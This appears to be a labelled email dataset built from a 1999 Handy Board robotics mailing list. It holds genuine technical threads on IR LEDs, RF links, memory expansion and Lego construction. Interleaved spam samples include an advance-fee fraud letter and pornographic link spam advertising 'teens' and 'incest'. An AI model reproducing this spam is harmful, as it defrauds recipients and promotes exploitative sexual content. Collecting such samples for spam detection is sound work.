> elsewhere in the documentation or online. I have yet find where that source > is. Perhaps the 6.270 documentation locations have some info on it. > > On a seperate followup to the RF issues, it would seem (from my limited > knowledge) that one of the LinxTechnologies units would only need the serial > pin output to successfully send data from the HB to the interface/charger > board. I would guess if a large data stream was to be sent some type of > handshaking/negotiation might need to be implemented, but if I just wanted > to send a few bytes at a time as control signals, it should be an easy > implementation. Has anyone proceeded with more reserach into these RF > units? > > Todd > > > > > -----Original Message----- > From: MAR ERICSON [mailto:mar@cooper.edu] > Sent: Wednesday, February 24, 1999 3:07 PM > To: Mike Howard > Cc: Max Davies; Graham, J. Todd; Handyboard > Subject: Re: IR outputB > > > Is the IR reciever on the HB the same thing as in the robot in MR:ITI book? > I though it would be different. > > In any case, you can but...the reciever is more effective as a ""wireless > communication"" device that can recieve various IR codes which you > programm the HB to recognize. > > You can buy a separate a demodulator for this purpose for pretty cheap. > It is designed to recognize one frequency of IR code. It should also > have an LED driver that pulses the LED at the specific frequency. You > can buy one unit at radio shack or so. It beats programming the HB and > moving the part, etc. > > But I guess it depends on what you really want to do. > > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > On Wed, 24 Feb 1999, Mike Howard wrote: > > > > > > > On Sun, 21 Feb 1999, Max Davies wrote: > > > > > In response to: > > > > > > > > What type of IR component do I need to attach to the Handyboard to > allow the > > > > > IR output to function? > > > > > > MAR ERICSON wrote: > > > > > > > You can connect an IR LED to it. Maybe you may need a series resistor > to > > > > limit the current through it as well. > > > > > > > > > > > > > > Could a hardware expert (Fred?) please give a more definitive answer to > this? > > > What value resistor should be used? After extensive IR use with just an > IR led > > > and no resistor my transmission circuit eventually died... I guess I > burnt out the > > > transistor but not being a hardware person I don't really know for sure. > > > > > > Thanks, > > > /Max > > > > > o > > > > Hi > > > > Did anyone receive an answer to this. I ant to connect > > a Radio Shack (276-143) IR LED to the IR output and am wondering > > what resistance to use. Also, I saw a design in Mobile > > Robots..Inspirition where they use two IR LED (one on each side) > > and a IS1U60 receiver in the middle as a proximity detector. > > Is this possible on the HB? Can one connect two IR LED's > > > > to the HB and move the IS1U60 to the front of a bumber. > > > > Thanks for any advice > > > > Mike Howard > > > > > > > > > ",0,0 John Hatton ,"""'Graham, J. Todd'"" , 'Handyboard Mailing List' ","Thu, 25 Feb 1999 17:30:59 -0000",RE: IR outputB,"The software written by Max Davies should allow transmission as well as receiving. The information that I have doesn't include the hardware layout but as far as I understand the 1K resistor in the IR transmission circuit on the board should allow an infrared LED to be connected directly to the header connection (I may be wrong so any corrections will be appreciated, Fred ?). I imagine that you would have to refer to the specifications of the IR LED and the transistor driving it to find out if you need to limit the current any further. John Hatton mailto:johnhatton@email.com > ",0,0 """Graham, J. Todd"" ","'MAR ERICSON' , ""Graham, J. Todd"" ","Thu, 25 Feb 1999 11:37:31 -0600",RE: IR outputB,"I had intended the two types of interfaces for different purposes, but, I assume RF does not need line of site work. R/C cars for example can be controlled from several rooms away in my house (worked with one on a telepresence implementation). I assume this is the same type of modulation the Linx units would use. I have also worked with using a laptop and a wireless Ethernet card to communicate back to another workstation. This worked well, and the transmissions would pass through walls, floors, and ceilings. However, I have yet to build a robot base that is suitable to accommodate the laptop system, batteries and such. Todd -----Original Message----- From: MAR ERICSON [mailto:mar@cooper.edu] Sent: Thursday, February 25, 1999 11:24 AM To: Graham, J. Todd Cc: Handyboard Subject: RE: IR outputB I heard that radio waves do not need ""line-of-sight"" like IR does. Can someone with more exerience verify or dispute this? It makes sense since longer wavelengths of EMR can bounce off surfaces easier. So maybe your Lynx device is better. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Thu, 25 Feb 1999, Graham, J. Todd wrote: > So, it seems like the short answer to this question is no one knows what to > attach to correctly and safely (to prevent HB damage) allow IR transmissions > from the HB :) I understand the receiving capabilities, as they are > documented and have routines and explanations enhanced by Max Davies. > However, there does not appear to be ANY documentation on how to install the > transmission circuit addition. The HB reference manual indicates that it is > not included in the default handboard construction, but should be documented > elsewhere in the documentation or online. I have yet find where that source > is. Perhaps the 6.270 documentation locations have some info on it. > > On a seperate followup to the RF issues, it would seem (from my limited > knowledge) that one of the LinxTechnologies units would only need the serial > pin output to successfully send data from the HB to the interface/charger > board. I would guess if a large data stream was to be sent some type of > handshaking/negotiation might need to be implemented, but if I just wanted > to send a few bytes at a time as control signals, it should be an easy > implementation. Has anyone proceeded with more reserach into these RF > units? > > Todd > > > > > -----Original Message----- > From: MAR ERICSON [mailto:mar@cooper.edu] > Sent: Wednesday, February 24, 1999 3:07 PM > To: Mike Howard > Cc: Max Davies; Graham, J. Todd; Handyboard > Subject: Re: IR outputB > > > Is the IR reciever on the HB the same thing as in the robot in MR:ITI book? > I though it would be different. > > In any case, you can but...the reciever is more effective as a ""wireless > communication"" device that can recieve various IR codes which you > programm the HB to recognize. > > You can buy a separate a demodulator for this purpose for pretty cheap. > It is designed to recognize one frequency of IR code. It should also > have an LED driver that pulses the LED at the specific frequency. You > can buy one unit at radio shack or so. It beats programming the HB and > moving the part, etc. > > But I guess it depends on what you really want to do. > > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > On Wed, 24 Feb 1999, Mike Howard wrote: > > > > > > > On Sun, 21 Feb 1999, Max Davies wrote: > > > > > In response to: > > > > > > > > What type of IR component do I need to attach to the Handyboard to > allow the > > > > > IR output to function? > > > > > > MAR ERICSON wrote: > > > > > > > You can connect an IR LED to it. Maybe you may need a series resistor > to > > > > limit the current through it as well. > > > > > > > > > > > > > > Could a hardware expert (Fred?) please give a more definitive answer to > this? > > > What value resistor should be used? After extensive IR use with just an > IR led > > > and no resistor my transmission circuit eventually died... I guess I > burnt out the > > > transistor but not being a hardware person I don't really know for sure. > > > > > > Thanks, > > > /Max > > > > > o > > > > Hi > > > > Did anyone receive an answer to this. I ant to connect > > a Radio Shack (276-143) IR LED to the IR output and am wondering > > what resistance to use. Also, I saw a design in Mobile > > Robots..Inspirition where they use two IR LED (one on each side) > > and a IS1U60 receiver in the middle as a proximity detector. > > Is this possible on the HB? Can one connect two IR LED's > > > > to the HB and move the IS1U60 to the front of a bumber. > > > > Thanks for any advice > > > > Mike Howard > > > > > > > > > ",0,0 MAR ERICSON ,John Hatton ,"Thu, 25 Feb 1999 13:04:50 -0500",RE: IR outputB,"I am looking at the Schematic in the HB HP right now. It looks like the 1K resistor is connected to the visible LED. From the schematic, it looks like you can connect a resitor and IR LED in series to the ""3-pin female header"" to make your transmitter. However, the value of your resistor...would depend on the specs of your LED and the transistor like John said. The transistor should drop the voltage a little, but not enough to comply with the ""maximum voltage allowable"" for most IR LED's. So use a resistor to be safe. Hmmm...or perhaps it blinks so fast that it would not blow the LED? I don't know. If you need more range, you need to use more current and a more powerful IRLED. In this case, what I would do is: Put a more powerful transistor in parrallel to the ZTX614transitor and connect your resistor and IRLED's negative end to the new transistor instead of the pin on the header (which connects to old one). Come to think of it...you can just replace the ZTX614! That would be better if you don't mind desoldering. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Thu, 25 Feb 1999, John Hatton wrote: > The software written by Max Davies should allow transmission as well as > receiving. The information that I have doesn't include the hardware > layout but as far as I understand the 1K resistor in the IR transmission > circuit on the board should allow an infrared LED to be connected > directly to the header connection (I may be wrong so any corrections > will be appreciated, Fred ?). I imagine that you would have to refer to > the specifications of the IR LED and the transistor driving it to find > out if you need to limit the current any further. > > John Hatton > mailto:johnhatton@email.com > > > > ",0,0 Mike Jones ,Handyboard ,"Thu, 25 Feb 1999 12:32:31 +0600",RE: IR outputB,">I heard that radio waves do not need ""line-of-sight"" like IR does. Can >someone with more exerience verify or dispute this? It makes sense since >longer wavelengths of EMR can bounce off surfaces easier. So maybe your >Lynx device is better. It is not the bouncing off of things but the passing through them that makes RF able to operate without line of sight. Line of sight gives greater distances, though, even with RF. The Lynx Tx/RX will definately have a greater range than the IR. Unless the object standing between an IR source and the IR receiver is IR transparent (like glass is to the visible light spectrum), IR cannot pass through it which makes it line-of sight. Most things are NOT IR transparent but many are. In fact many optically opaque objects are IR transparent which can cause all kinds of trouble if your aren't carefull. Mike ",0,0 Elliot Anderson ,handyboard@media.mit.edu,"Thu, 25 Feb 1999 12:21:05 -0800",," Has anyone hacked the sonar out of a sonar tape measure? Radio Shack sells sonar tape measures for about $25.00, that's half the price of buying the transducer and sensor together. I mentioned in a previous posting that I am interested in running six sonar sensors off of the parallel port of a PC. Therefore, the hack would need to where I would connect to the parallel port from the measuring tape board. Elliot Anderson Elliot Anderson Adjunct Professor, Electronic Media, Art Department University of California, Santa Cruz http://www.sirius.com/~ewanders ",0,1 Simon Schulz ,"Mike Howard , handyboard ","Thu, 25 Feb 1999 21:18:00 +0100",Re: IR outputB,"> Did anyone receive an answer to this. I ant to connect > a Radio Shack (276-143) IR LED to the IR output and am wondering > what resistance to use. Also, I saw a design in Mobile > Robots..Inspirition where they use two IR LED (one on each side) > and a IS1U60 receiver in the middle as a proximity detector. > Is this possible on the HB? Can one connect two IR LED's > > to the HB and move the IS1U60 to the front of a bumber. > > Thanks for any advice > > Mike Howard i do not have the Mobile robots inspiration book, but i think if you want to use it in a good way you will have to flash the right led for a time, check for reflection, then switch it of and check if there is also reflection (then it was ambient light). then the same with the other side. you see, you have to do many things in a short time (500 ms flashing the led), and if you like to use more than one proximity detector, your HB do not have much time for calculating its behavier, etc. so it is easyer to use a pic (pic12c509 - costs $2) to control this. if you like more info about this, i can give you more information (a url, etc...) hope it helps bye, Simon ",0,0 Phil ,MAR ERICSON ,"Thu, 25 Feb 1999 14:59:11 -0600",RE: IR outputB," On Thu, 25 Feb 1999, MAR ERICSON wrote: > I heard that radio waves do not need ""line-of-sight"" like IR does. Can > someone with more exerience verify or dispute this? Of course... have you ever listened to your radio in the house before? > It makes sense since > longer wavelengths of EMR can bounce off surfaces easier. So maybe your > Lynx device is better. > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > On Thu, 25 Feb 1999, Graham, J. Todd wrote: > > > So, it seems like the short answer to this question is no one knows what to > > attach to correctly and safely (to prevent HB damage) allow IR transmissions > > from the HB :) I understand the receiving capabilities, as they are > > documented and have routines and explanations enhanced by Max Davies. > > However, there does not appear to be ANY documentation on how to install the > > transmission circuit addition. The HB reference manual indicates that it is > > not included in the default handboard construction, but should be documented > > elsewhere in the documentation or online. I have yet find where that source > > is. Perhaps the 6.270 documentation locations have some info on it. > > > > On a seperate followup to the RF issues, it would seem (from my limited > > knowledge) that one of the LinxTechnologies units would only need the serial > > pin output to successfully send data from the HB to the interface/charger > > board. I would guess if a large data stream was to be sent some type of > > handshaking/negotiation might need to be implemented, but if I just wanted > > to send a few bytes at a time as control signals, it should be an easy > > implementation. Has anyone proceeded with more reserach into these RF > > units? > > > > Todd > > > > > > > > > > -----Original Message----- > > From: MAR ERICSON [mailto:mar@cooper.edu] > > Sent: Wednesday, February 24, 1999 3:07 PM > > To: Mike Howard > > Cc: Max Davies; Graham, J. Todd; Handyboard > > Subject: Re: IR outputB > > > > > > Is the IR reciever on the HB the same thing as in the robot in MR:ITI book? > > I though it would be different. > > > > In any case, you can but...the reciever is more effective as a ""wireless > > communication"" device that can recieve various IR codes which you > > programm the HB to recognize. > > > > You can buy a separate a demodulator for this purpose for pretty cheap. > > It is designed to recognize one frequency of IR code. It should also > > have an LED driver that pulses the LED at the specific frequency. You > > can buy one unit at radio shack or so. It beats programming the HB and > > moving the part, etc. > > > > But I guess it depends on what you really want to do. > > > > > > ----------- > > ericson mar > > Robotics Consultant > > mar@cooper.edu > > (212)353-4356 > > > > Department of Mechanical Engineering > > The Cooper Union for the Advancement of Science and Art > > ------------------------------------------------------- > > > > On Wed, 24 Feb 1999, Mike Howard wrote: > > > > > > > > > > > On Sun, 21 Feb 1999, Max Davies wrote: > > > > > > > In response to: > > > > > > > > > > What type of IR component do I need to attach to the Handyboard to > > allow the > > > > > > IR output to function? > > > > > > > > MAR ERICSON wrote: > > > > > > > > > You can connect an IR LED to it. Maybe you may need a series resistor > > to > > > > > limit the current through it as well. > > > > > > > > > > > > > > > > > > Could a hardware expert (Fred?) please give a more definitive answer to > > this? > > > > What value resistor should be used? After extensive IR use with just an > > IR led > > > > and no resistor my transmission circuit eventually died... I guess I > > burnt out the > > > > transistor but not being a hardware person I don't really know for sure. > > > > > > > > Thanks, > > > > /Max > > > > > > > o > > > > > > Hi > > > > > > Did anyone receive an answer to this. I ant to connect > > > a Radio Shack (276-143) IR LED to the IR output and am wondering > > > what resistance to use. Also, I saw a design in Mobile > > > Robots..Inspirition where they use two IR LED (one on each side) > > > and a IS1U60 receiver in the middle as a proximity detector. > > > Is this possible on the HB? Can one connect two IR LED's > > > > > > to the HB and move the IS1U60 to the front of a bumber. > > > > > > Thanks for any advice > > > > > > Mike Howard > > > > > > > > > > > > > > > ",0,0 Fiachra Julia ,handyboard@media.mit.edu,"Thu, 25 Feb 1999 09:43:56 -0700",Re: good VtAGbRA,"Hi, X k A d N n A c X r V s I q A j G q R b A k C j I a A m L d I x S c V k A q L m I z U a M a http://www.chaneistran.com gastronom overhear seasnak photomechanica concentrate never the police, never the authorities; with those names came panic. And panic was precisely what Medusas Delta One had in mind. Panic and diversion, eternal components for the human snare, lifelong allies in the springing trap. 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I like something with a good component library and auto router for Windows that won't take weeks to learn to make a simple board. Thanks, Clancy ",0,0 """Joe Marie J. Maja"" ",Clancy Nelson ,"Fri, 26 Feb 1999 19:59:24 +0900","Re: Schematic, PCB freeware","Clancy Nelson wrote: > Does anyone know of a good but simple to use schematic an PCB design > freeware program out there on the net?, I have downloaded a few but they > vary complex and hard to learn for the simple board I need to create. I like Try this software: www.expresspcb.com Though, it doesn't have an auto route function, but this is good for simple pcb design. joema ",0,0 Hans Venema ,handyboard@media.mit.edu,"Fri, 26 Feb 1999 12:34:33 +0100",More than 32Kb RAM?,"Hello, Does anybody know if it is possible to build a handyboard with more than 32Kb RAM? I do not know the exact details of processor, but if it is a 8-bit processor it should be possible to build a handyboard with a maximum of 256Kb memory! And that would be cool! I am eager to hear from you, Hans Venema j.venema@wing.rug.nl ",0,0 Hans Venema ,handyboard@media.mit.edu,"Fri, 26 Feb 1999 13:37:32 +0100",Handyboard >32Kb RAM,"Hello again, Sorry I made a calculation error. If the processor is 8-bit then 32K is the maximum possible RAM. So I think no upgrade is possible. Hans Venema j.venema@wing.rug.nl ",0,0 """SHETTI.NITIN.MANGESH"" ",Clancy Nelson ,"Fri, 26 Feb 1999 18:29:25 -0500","Re: Schematic, PCB freeware","Dear Clancy, Try looking at ftp://bode.ee.ualberta.ca/pub/cookbook/softw/ibm Yours sincerely, Nitin On Fri, 26 Feb 1999, Clancy Nelson wrote: > Does anyone know of a good but simple to use schematic an PCB design > freeware program out there on the net?, I have downloaded a few but they > vary complex and hard to learn for the simple board I need to create. I like > something with a good component library and auto router for Windows that > won't take weeks to learn to make a simple board. > Thanks, > Clancy > > ",0,0 Steve Wall ,Handyboard ,"Fri, 26 Feb 1999 09:14:13 -0500",Static sensitivity,"I am starting to install I.C.'s on my board and I was wondering are any of the chip's on the handy board static sensitive? which is to say if I touch it I will destroy it, without having somekind of static gaurd. ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 orangex95@hotmail.com,handyboard@media.mit.edu,"Fri, 26 Feb 1999 11:27:19 +0200",����Ǻ��� �����ڷ� 3000���� 5�г� ����! sz rgqh,shn rummxdr poiau bd,1,1 Adam Oliver ,HB Mail List ,"Fri, 26 Feb 1999 23:12:10 +0800","Re: Schematic, PCB freeware","Depending on how many components you want to use, there is an evaluation version of EDWin around that works quite nicely. Very simple to do circuits and stuff like that, with a good library of bits. Yes even an autorouter. It can also do multi-layer PCBs if you want. Hope this helps, Adam >Does anyone know of a good but simple to use schematic an PCB design >freeware program out there on the net?, I have downloaded a few but they >vary complex and hard to learn for the simple board I need to create. I like >something with a good component library and auto router for Windows that >won't take weeks to learn to make a simple board. >Thanks, >Clancy > ",0,0 Mike Jones ,"Steve Wall , Handyboard ","Fri, 26 Feb 1999 09:10:27 +0600",Re: Static sensitivity,">I am starting to install I.C.'s on my board and I was wondering are >any of the chip's on the handy board static sensitive? >which is to say if I touch it I will destroy it, without having >somekind of static gaurd. You should probably ALWAYS assume that any IC is ESD (electro-static discharge) sensitive and take all precautions. Mike ",0,0 Thomas Hauri ,Hans Venema ,"Fri, 26 Feb 1999 17:03:15 +0100",Re: Handyboard >32Kb RAM,"> Hello again, > > Sorry I made a calculation error. If the processor is 8-bit then 32K is > the maximum possible RAM. So I think no upgrade is possible. Actually its 64K for the HC11 cause it has a 16 Bit address bus. 16^2 = 65536 = 64K But the upper address space is used by the I/O and expansionboards. There are some little empty spaces which could be used for additional RAM. There are several mailings explaining how to expand the RAM. **************************************************************************************** Mail written by Fred G. Martin. Wed, 15 Apr 1998 13:36:35 This is a common question, so I went ahead and put an answer in the FAQ. Take a look at: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#moremem Here's what it now says: ------------------------------------------------------------------------ IS IT POSSIBLE TO EXPAND THE HANDY BOARD'S MEMORY TO 64K? Actually, this is hard to do. Here's why: 1.There is a compromise in the design that traded off a wasteful use of the lower 32K of memory for fewer chips used in creating the motor output, digital input, and expansion bus circuits. Basically, 16K of the lower 32K is used to map four input latches and four output latches to the microprocessor (see more info in the memory map answer). What this means is that in order to recapture the lower 32K, the addressing circuit that drives the 'HC138 chip (which then drives these latches) would need to be modified. Presently, the 'HC138 is wired to the 68HC11, using the A15, A14, A13, and A12 signals. To recapture the address space, many more address signals would need to be combined to force the HC138 to enable itself only when a narrow band of addresses were accessed. Then, an additional RAM could be mapped to the lower 32K bank not used by this remapped 'HC138 circuit. 2.Interactive C would need to be recompiled. Interactive C was designed with certain assumptions about the architecture of the target system; one of those included a 32K RAM. Various modifications to Interactive C (largely, the redefining of compile-time constants) would be necessary for it to use a different memory architecture. This said, it is relatively straightforward to build a serially-accessible external memory for data storage. For example, see Jim Fong's SPI-based EEPROM application note. ------------------------------------------------------------------------ In your message you said: > Hello, I wonder if anyone knows if I can expand the Handyboard's memory > to the maximum of 64KB simply be wiring in a 128kb SRAM (A16 unused so > it becomes 64kb) with D0-D7 to the data bus as usual and A0-A14 to the > existing RAM socket and A15 from the expansion header directly to the > RAM's A15? Would IC need any modification or anything? Thanks! > > **************************************************************************************************** Thomas Hauri ZHW Zuercher Hochschule Winterthur University of applied sciences Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : har@zhwin.ch HP : http://www.zhwin.ch ",0,1 Clancy Nelson ,Clancy Nelson ,"Fri, 26 Feb 1999 18:46:00 -0600","RE: Schematic, PCB freeware","Thanks for the info guys, I found several good candidates among the suggestions. Clancy > -----Original Message----- > From: Clancy Nelson [mailto:nelson3@jcn1.com] > Sent: Friday, February 26, 1999 3:36 AM > To: HB Mail List > Subject: Schematic, PCB freeware > > > Does anyone know of a good but simple to use schematic an PCB design > freeware program out there on the net?, I have downloaded a few but they > vary complex and hard to learn for the simple board I need to > create. I like > something with a good component library and auto router for Windows that > won't take weeks to learn to make a simple board. > Thanks, > Clancy > > ",0,0 Viola Dupree ,handyboard@media.mit.edu,"Sat, 27 Feb 1999 19:01:30 -0400",graceful teens in bukkkake action.," grace Bitch and innoceent little grace puussies! http://bigironline.info/pwwildsolo.htm?iSPhfd.fX,hj U,N,$,U,B,S,C,R,I,,B,E http://bigironline.info ",1,1 Mele Wynkoop ,handyboard@media.mit.edu,"Sat, 27 Feb 1999 01:46:11 -0700",Re: your VtAGRwA,"Hi X A L P C V V a m e r I A I n b v o A L A a i i z L I G x e t a I U R n ra c S M A http://www.teolocome.com and there they lay and shivered though it was warm and stuffy, until dawn came pale through the crack of the door. Every now and again through the night they could hear the roar of the flying dragon grow and then pass and fade, as he hunted round and round the mountain-sides. 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There is a picture and further details to show how this works at http://www.cam.org/~mdavies/HB/tip1.htm Does anyone else have similar tips on working with Legos? /Max ",0,1 Will Bain ,Handyboard Mailing List ,"Sun, 28 Feb 1999 08:47:24 -0700",Re: Working with Legos,"Max Davies wrote: > I have found a simple way to attach non-Lego motors to Lego components. > > I just use a band clamp as is used in plumbing to tighten the motor against > two Lego axles. There is a picture and further details to show how this > works at http://www.cam.org/~mdavies/HB/tip1.htm > > Does anyone else have similar tips on working with Legos? That's an excellent suggestion. Thanks, Max. There are many other tips on Lego robot construction techniques in an article titled The Art of Lego Design by Fred Martin. It's available for download from the Handy Board web site: http://el.www.media.mit.edu/groups/el/projects/handy-board/techdocs/index.html There have been numerous helpful hints on the mailing list that could probably be found in the archives. For example, I learned on the list that the best way to attach sensors to the robot is by gluing 'em to Lego bricks with hot melt glue. The glue is tough, but can be removed if necessary, and doesn't seem to damage the Lego bricks. So far I haven't fried any sensors, either ;^) I've found that the best way to mount a Polaroid sonar transducer is to glue it to one of the extra large pulley wheels of the type that comes with the pneumatic compressor kit (someone else on the list uses an extra large, 40-tooth gear wheel). Then it can just be ""plugged in"" to the robot chassis wherever. Also, as many of you already know, it's difficult to make a good caster using Legos for use on a differential drive mobile base. I came up with a design for a lightweight, sturdy caster that works great. If anyone is interested, I could zap a picture of it onto my web site and give you all the URL. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Suburbia is where the developer bulldozes out Will Bain, the trees, then names the streets after them. & Tatoosh --Bill Vaughn ",0,1 Dperonne@aol.com,handyboard@media.mit.edu,"Sun, 28 Feb 1999 11:59:14 -0500",I have made a i2c routine for the handy board,"Hello, You want to use the i2c bus (by the SPI connector) with your handy baord ? I have made a routine to use i2c component (PCF 8574, 8591.......) with the handy board. Do you want it ? See you later. Dperonne@aol.com ",0,0 john ,Max Davies ,"Sun, 28 Feb 1999 11:41:26 -0500",Re: Working with Legos,"My only tip is to stay away from cyanoacrylics. I used superglue to try to attach a motor to a brick, and it started eating away the brick. Stuck like a champ, but I had red ""puss"" all over the place. Max Davies wrote: > I have found a simple way to attach non-Lego motors to Lego components. > > I just use a band clamp as is used in plumbing to tighten the motor against > two Lego axles. There is a picture and further details to show how this > works at http://www.cam.org/~mdavies/HB/tip1.htm > > Does anyone else have similar tips on working with Legos? > > /Max ",0,1 """From Mary Johnson."" ",handyboard@media.mit.edu,"Sun, 28 Feb 1999 12:49:50 +0000",From Mary Johnson.,"From Mary Johnson. Asylum Camp. (Cote D' Ivoire)Abidjan. mareality2@yahoo.fr Hello It is my pleasure to write you regardless of the fact that we do not know each other in person: I am Mary Johnson , the Daugther of late Mr.and Mrs. Johnson . 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He also explained to me that it was because of this wealth that he was poisoned by his business associates. As a matter of fact, we went to the bank for our claims, the bank manager told us to look for a liable foreign partner in a country of our choice where the money can be transfered for our investment ambitions. Sir, I am honourably seeking your assistance in the following ways : 1. to provide a bank account into which this money would be transferred 2. to serve as a guardian of this fund since I am too young to handle this project. 3. to make arrangement for me and my only Brother ( age: 15 ) to come over to your country to further our education and to secure Residence permit in your country. Moreover, Sir, I am willing to offer you 15% of the total sum as compensation for your effort after the successful transfer of this fundinto your nominated account overseas. Further more, you indicate youroption towards assisting me as I believe that this transaction could beconcluded within seven banking (7)working days. I look forward to hearing from you. Thanks and God bless you, Mary Johnson and Brother. ",1,0 Magdalena ,handyboard@media.mit.edu,"Sun, 28 Feb 1999 07:12:34 -0700",grand teens in bukkakke action.," Do you want adorable virgiin Lady? http://playactivity.info/fpbxporn.htm?iSPhfd.fX,hj U-N-S-U-B-$$-C-R-l-B-E http://playactivity.info ",1,1 Kate ,Handyboard Mailing List ,"Sun, 28 Feb 1999 13:28:10 -0600",Re: Working with Legos," Some of the sensors that I've used easily attach to the the plates & hlocks with holes using a set of tiny nut, bolts, and washer(s). No damage done to any of the components, and easy to change your mind about where you're going to put it. -kr ",0,0 Max Davies ,Handyboard Mailing List ,"Sun, 28 Feb 1999 15:16:16 -0500",Re: Working with Legos,"I glued a couple of the thin Lego strips to the bottom of my HandyBoard to make it quick and easy to plop the board firmly onto a Lego base yet still have it easily removable. Doing this you must be certain to get the correct Lego spacing, so first attach the strips to a Lego base. Then carefully drip some glue onto only the tops of the strips, sit the HandyBoard on top, and wait patiently a long long time to ensure the glue has fully set. Hopefully when you then pull the HandyBoard away from the base the thin strips will still be attached to the HB so you can now easily mount and remove the board on Legos as often as you wish. /Max ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sun, 28 Feb 1999 13:15:53 -0800",Re: Working with Legos,"The LEGO purists may not approve of this, but it does work well and it makes it relatively easy to use non-LEGO components. You *do* need to be cautious about what type of glue you use. Many glues will not adhere to the LEGO plastic, others will interact with the plastic and turn it into non-drying goo. I usually use two types: J-B Weld for parts that will not ever be separated, and Zap-A-Dap-A-Goo for less than permanent bonds (but this destroys the LEGO part). I would like to find a ""rubber cement"" type glue to use instead of the zapa-dapa stuff. Any suggestions? - - - Nick - - - Max Davies wrote: > I glued a couple of the thin Lego strips to the bottom of my HandyBoard to > make it quick and easy to plop the board firmly onto a Lego base yet still > have it easily removable. > /Max",0,0 Will Bain ,Handyboard Mailing List ,"Sun, 28 Feb 1999 18:04:46 -0700",Re: Working with Legos,"Max Davies wrote: > > Will Bain wrote: > > ...Also, as many of you already know, it's difficult to make a good caster > > using Legos for use on a differential drive mobile base. I came up with > > a design for a lightweight, sturdy caster that works great. If anyone > > is interested, I could zap a picture of it onto my web site and give you > > all the URL. > > Yes, I'm interested. Could you do it when you have the time please? No problem--here it is: http://www.montana.com/people/home1/nepenthe/www/robot.html It's pretty sketchy, but I hope it helps. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you steal from one author, it's plagiarism; Will Bain, if you steal from many, it's research. & Tatoosh --Wilson Mizner ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Sun, 28 Feb 1999 18:27:58 -0800",Re: Working with Legos,Thanks for posting the pics ... great casters! Are you using the pulleys with near the driven wheels to sense wheel rotation? - - - Nick - - - Will Bain wrote: > I could zap a picture of it onto my web site and give you > all the URL. > http://www.montana.com/people/home1/nepenthe/www/robot.html > -- Will,0,1 """Joe Marie J. Maja"" ","""Fred G. Martin"" ","Mon, 01 Mar 1999 12:29:37 +0900",9600 Baud Serial Input Drivers?,"Fred and Others, I got hold of your 9600 Baud Serial Output drivers - thank you very much. Is there anyone from this list who have done the same thing the taking in serial input data using the PORT A pins? And another questions, about serial output/input? How can I manage to change the speed of transmission, I mean if I wanted to used 1000 bps or less? This is all for now, I am building a wireless transmission between two robots and hope to get a good input/advice from this list? Thanks and thanks in advance. joema ",0,0 Kristopher Arthur ,handyboard@media.mit.edu,"Tue, 02 Mar 1999 02:04:20 -0400",lovely hardcoree incest!," Harddcore inncest Content! http://macgameplay.info/bxfamilynig.htm ",1,1 Guy & Gad Berg ,"""handyboard@media.mit.edu"" ","Mon, 01 Mar 1999 11:15:34 +0200",Polaroid sonar problems,"hi! Our group is still struggling with the polaroid sonar. We can't get any coherent reading, only readings that are in the range 470-515, which aren't effected by the measured distance. We have the capacitor and resistor installed as required. We tried using a 150ms delay (instead of 50) and we average our readings, we tried taking every tenth reading and displaying it, but nothing seems to work. We know there are people out there who have succeeded! PLEASE, tell us what you did. Thanks. Guy. ",0,0 Will Bain ,Handyboard Mailing List ,"Mon, 01 Mar 1999 06:55:15 -0700",Wheel encoders,"Nick Taylor wrote: > Thanks for posting the pics ... great casters! Are you > using the pulleys with near the driven wheels to sense > wheel rotation? Yes, the pulley wheels near the drive wheels were drilled to accomodate 0.1"" dia. disk magnets, available at the local hobby shop. The magnets activate the Hall effect magnetic sensors that are tucked away into the chassis (not easily seen in the photos). These encoders are simple to use and in the current configuration provide one count for each two centimeters or so of travel, which is sufficient to keep the robot tracking straight across the floor. For maze navigating & dead reckoning I'll probably need to gear up the encoders by a factor of two or three. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The big thieves Will Bain, hang the little ones. & Tatoosh --Czech proverb ",0,0 brett anthony ,'Handyboard' ,"Mon, 01 Mar 1999 07:58:34 -0800",RE: Working with Legos,"Servo Tape: Available at R/C suppliers, this is sheet rubber with very strong stickum on both sides. The only problem is that it will creep, so if the part will be under stress you should augment servo tape with either Ty-Raps or a fillet of silicone glue around the joint. Aquarium sealer works well for the fillet. The silicone glue can be peeled off, and the servo tape removed by gentle prying. Be patient. You can speed up the process of removing servo tape with a squirt of WD-40. Clean up with rubbing alcohol (isopropanol) or Dawn. The Lego plastic will not be damaged. Sticky Back Velcro: Useful for sensors and other low-stress mounting situations where the part may have to be re-positioned. Remove with WD-40 as above. Most Lego parts are made of ABS, so when you are shopping adhesives read the fine print. Some adhesives are not appropriate for ABS because over time they will cause the plastic to craze and/or lose it's plasticisers, 